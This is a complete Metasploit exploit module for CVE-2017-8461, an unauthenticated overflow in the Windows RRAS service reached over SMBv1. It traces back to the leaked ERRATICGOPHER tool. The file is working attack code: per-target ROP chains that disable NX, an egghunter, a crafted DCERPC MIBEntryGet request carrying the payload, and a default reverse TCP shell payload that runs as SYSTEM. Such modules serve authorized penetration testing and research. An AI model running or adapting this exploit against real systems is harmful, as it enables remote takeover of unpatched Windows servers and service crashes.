##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Windows RRAS Service MIBEntryGet Overflow',
        'Description' => %q{
          This module exploits an overflow in the Windows Routing and Remote
          Access Service (RRAS) to execute code as SYSTEM.

          The RRAS DCERPC endpoint is accessible to unauthenticated users via
          SMBv1 browser named pipe on Windows Server 2003 and Windows XP hosts;
          however, this module targets Windows Server 2003 only.

          Since the service is hosted inside svchost.exe, a failed exploit
          attempt can cause other system services to fail as well.

          The module has been successfully tested on:

          Windows Server 2003 SP0 (x86);
          Windows Server 2003 SP1 (x86);
          Windows Server 2003 SP2 (x86); and
          Windows Server 2003 R2 SP2 (x86).
        },
        'Author' => [
          'Equation Group', # ERRATICGOPHER
          'Shadow Brokers', # Equation Group dump
          'Víctor Portal', # Python exploit for Windows Server 2003 SP2 with DEP bypass
          'bcoles', # Metasploit
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2017-8461'],
          ['CWE', '119'],
          ['BID', '99012'],
          ['EDB', '41929'],
          ['PACKETSTORM', '147593'],
          ['URL', 'https://www.securitytracker.com/id/1038701'],
          ['URL', 'https://github.com/x0rz/EQGRP_Lost_in_Translation/blob/master/windows/exploits/Erraticgopher-1.0.1.0.xml'],
          ['URL', 'https://support.microsoft.com/en-us/topic/microsoft-security-advisory-4025685-guidance-for-older-platforms-june-13-2017-05151e8a-bd7f-f769-43df-38d2c24f96cd'],
          ['URL', 'https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa374540(v=vs.85)'],
          ['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/ebc5c709-36d8-4520-a0ac-6f36d2d6c0b2'],
          ['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/5dca234b-bea4-4e67-958e-5459a32a7b71'],
          ['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/4305d67f-9273-49fe-a067-909b6ae8a341'],
          ['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/3ca0723e-36ea-448a-a97e-1906dd3d07a6'],
          ['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/dda988f0-4cce-4ffe-b8c9-d5199deafba5'],
          ['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/169e435d-a975-4c1c-bf41-55fd2bd76125'],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
          'PAYLOAD' => 'windows/shell/reverse_tcp'
        },
        'Privileged' => true,
        'Payload' => {
          'Space' => 1065,
          'BadChars' => "\x00",
          'EncoderType' => Msf::Encoder::Type::AlphanumMixed
        },
        'Platform' => 'win',
        'Arch' => ARCH_X86,
        'Targets' => [
          [ 'Automatic', { 'auto' => true } ],
          [
            'Windows Server 2003 SP0 (English)',
            {
              'os' => 'Windows 2003',
              'sp' => '',
              'lang' => 'English'
            }
          ],
          [
            'Windows Server 2003 SP1 (English) (NX)',
            {
              'os' => 'Windows 2003',
              'sp' => 'Service Pack 1',
              'lang' => 'English'
            }
          ],
          [
            'Windows Server 2003 SP2 (English) (NX)',
            {
              'os' => 'Windows 2003',
              'sp' => 'Service Pack 2',
              'lang' => 'English'
            }
          ],
          [
            'Windows Server 2003 R2 SP2 (English) (NX)',
            {
              'os' => 'Windows 2003 R2',
              'sp' => 'Service Pack 2',
              'lang' => 'English'
            }
          ],
        ],
        'Notes' => {
          'AKA' => [ 'ErraticGopher' ],
          'Stability' => [ CRASH_SERVICE_DOWN ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ UNRELIABLE_SESSION ]
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2017-06-13'
      )
    )

    register_options([
      OptString.new('SMBPIPE', [ true, 'The pipe name to use', 'browser']),
    ])

    deregister_options('SMB::ProtocolVersion')
  end

  def payload_win2k3sp0
    rop = [0x0ffef4c9].pack('V')
    # rsaenh.dll:
    # 0FFEF4C9   54               PUSH ESP
    # 0FFEF4CA   24 04            AND AL,4
    # 0FFEF4CC   8B4C24 0C        MOV ECX,DWORD PTR SS:[ESP+C]
    # 0FFEF4D0   8B4424 08        MOV EAX,DWORD PTR SS:[ESP+8]
    # 0FFEF4D4   3BD1             CMP EDX,ECX
    # 0FFEF4D6   73 05            JNB SHORT rsaenh.0FFEF4DD
    # 0FFEF4D8   F7F1             DIV ECX
    # 0FFEF4DA   C2 0C00          RETN 0C
    rop += make_nops(1152 - payload.encoded.length)
    rop += payload.encoded
    rop
  end

  def payload_win2k3sp1
    egg_options = {
      eggtag: rand_text_alpha(4)
    }

    hunter, egg = generate_egghunter(
      payload.encoded,
      payload_badchars,
      egg_options
    )

    # NX disable routine for Windows Server 2003 SP1
    rop = [0x71c0bf7c].pack('V')   # push esp ; pop esi ; retn @ws2_32.dll
    rop += "\x90" * 16             # padding
    rop += [0x77c1a864].pack('V')  # push esp ; pop ebp ; retn 4 @gdi32.dll
    rop += [0x7c803ec2].pack('V')  # ret 20 @ntdll.dll
    rop += [0x773b24da].pack('V')  # jmp esp @user32.dll
    rop += [0x77bde7f6].pack('V')  # add esp,2c ; retn @msvcrt.dll
    rop += "\x90" * 2              # padding
    rop += hunter                  # egg hunter
    rop += "\x90" * 42             # padding
    rop += [0x7c83e413].pack('V')  # disable NX routine @ntdll.dll
    rop += "\x90" * 104            # padding
    rop += egg                     # egg + payload
    rop
  end

  def payload_win2k3sp2
    egg_options = {
      eggtag: rand_text_alpha(4)
    }

    hunter, egg = generate_egghunter(
      payload.encoded,
      payload_badchars,
      egg_options
    )

    # NX disable routine for Windows Server 2003 [R2] SP2
    rop = [0x71c0db30].pack('V')   # push esp ; pop esi ; retn @ws2_32.dll
    rop += "\x90" * 16             # padding
    rop += [0x77c177e9].pack('V')  # push esp ; pop ebp ; retn 4 @gdi32.dll
    rop += [0x7c817a5d].pack('V')  # ret 20 @ntdll.dll
    rop += [0x77384271].pack('V')  # jmp esp @user32.dll
    rop += [0x77bde7f6].pack('V')  # add esp,2c ; retn @msvcrt.dll
    rop += "\x90" * 2              # padding
    rop += hunter                  # egg hunter
    rop += "\x90" * 42             # padding
    rop += [0x7c83f517].pack('V')  # disable NX routine @ntdll.dll
    rop += "\x90" * 104            # padding
    rop += egg                     # egg + payload
    rop
  end

  def check
    begin
      connect(versions: [1])
      smb_login
    rescue Rex::Proto::SMB::Exceptions::LoginError => e
      if e.message.include?('Connection reset')
        return CheckCode::Unknown('Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')
      end

      return CheckCode::Safe("SMB error: #{e.message}")
    end

    handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])

    begin
      dcerpc_bind(handle)
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
      return CheckCode::Safe("SMB error: #{e.message}")
    end

    CheckCode::Detected('RRAS enabled and accessible.')
  end

  def exploit
    begin
      connect(versions: [1])
      smb_login
    rescue Rex::Proto::SMB::Exceptions::LoginError => e
      if e.message.include?('Connection reset')
        fail_with(Failure::UnexpectedReply, 'Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')
      end
      raise e
    end

    handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])

    print_status("Binding to #{handle} ...")

    begin
      dcerpc_bind(handle)
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
      fail_with(Failure::NotVulnerable, "SMB error: #{e.message}")
    end

    print_status("Bound to #{handle} ...")

    my_target = target

    if target.name == 'Automatic'
      print_status('Selecting a target ...')

      fingerprint = smb_fingerprint

      os = fingerprint['os']
      sp = fingerprint['sp']
      lang = fingerprint['lang']
      print_status("Fingerprint: #{os}#{sp.blank? ? '' : " (#{sp})"} - Language: #{lang}")

      if lang == 'Unknown'
        lang = 'English'
        print_status("Could not detect the language pack, defaulting to #{lang}")
      end

      my_target = targets.select { |t| t['os'] == os && t['sp'] == sp && t['lang'] == lang }.first

      unless my_target
        fail_with(Failure::NoTarget, 'Unable to automatically detect a target')
      end
    end

    print_status("Using target: #{my_target.name}")

    case my_target.name
    when 'Windows Server 2003 SP0 (English)'
      buf = payload_win2k3sp0
    when 'Windows Server 2003 SP1 (English) (NX)'
      buf = payload_win2k3sp1
    when 'Windows Server 2003 SP2 (English) (NX)'
      buf = payload_win2k3sp2
    when 'Windows Server 2003 R2 SP2 (English) (NX)'
      buf = payload_win2k3sp2 # same as SP2
    else
      fail_with(Failure::NoTarget, 'Invalid target')
    end

    mib = NDR.long(8)                    # dwVarID (MIB_OPAQUE_QUERY)                  # IP_FORWARDROW
    mib += "\x90" * 4                    # rgdwVarIndex[0] dwForwardDest               # junk IPv4 address
    mib += NDR.long(0)                   # rgdwVarIndex[1] dwForwardMask               # junk IPv4 net mask
    mib += NDR.long(0)                   # rgdwVarIndex[2] dwForwardPolicy             # 0 (default forward policy)
    mib += "\x90" * 4                    # rgdwVarIndex[3] dwForwardNextHop            # junk IPv4 address
    mib += "\x90" * 4                    # rgdwVarIndex[4] dwForwardIfIndex            # junk network interface index for next hop
    mib += buf                           # rgdwVarIndex[5] dwForwardType               # payload
    mib += "\x90" * (1840 - mib.length)  # MIB length padding                          # junk

    stub = NDR.long(0x21)                # dwPid (RMIBEntryGet)                        # PID_IP (IPv4)
    stub += NDR.long(0x2710)             # dwRoutingPid (RMIBEntryGet)                 # IPRTRMGR_PID (IP router manager)
    stub += NDR.long(mib.length)         # dwMibInEntrySize (DIM_MIB_ENTRY_CONTAINER)  # MIB in size
    stub += "\x90" * 4                   # pMibInEntry (DIM_MIB_ENTRY_CONTAINER)       # MIB_OPAQUE_QUERY pointer (ignored)
    stub += NDR.long(4)                  # dwVarId (MIB_OPAQUE_QUERY)                  # IP_ADDRTABLE
    stub += "\x90" * 4                   # rgdwVarIndex (MIB_OPAQUE_QUERY)             # unused (ignored)
    stub += NDR.long(mib.length)         # dwMibOutEntrySize (DIM_MIB_ENTRY_CONTAINER) # MIB out size
    stub += mib                          # our friendly MIB entry data with payload
    stub += NDR.long(4)                  # dwId (MIB_OPAQUE_INFO)                      # IP_ADDRTABLE (same as dwVarId)
    stub += NDR.long(0)                  # ullAlign (MIB_OPAQUE_INFO)                  # zero aligning bytes

    print_status("Calling RRAS MIBEntryGet with payload (#{stub.length} bytes) ...")

    begin
      dcerpc.call(0x1d, stub, false)
    rescue StandardError => e
      raise e unless e.to_s.include?('STATUS_PIPE_DISCONNECTED')
    end

    handler
    disconnect
  end
end
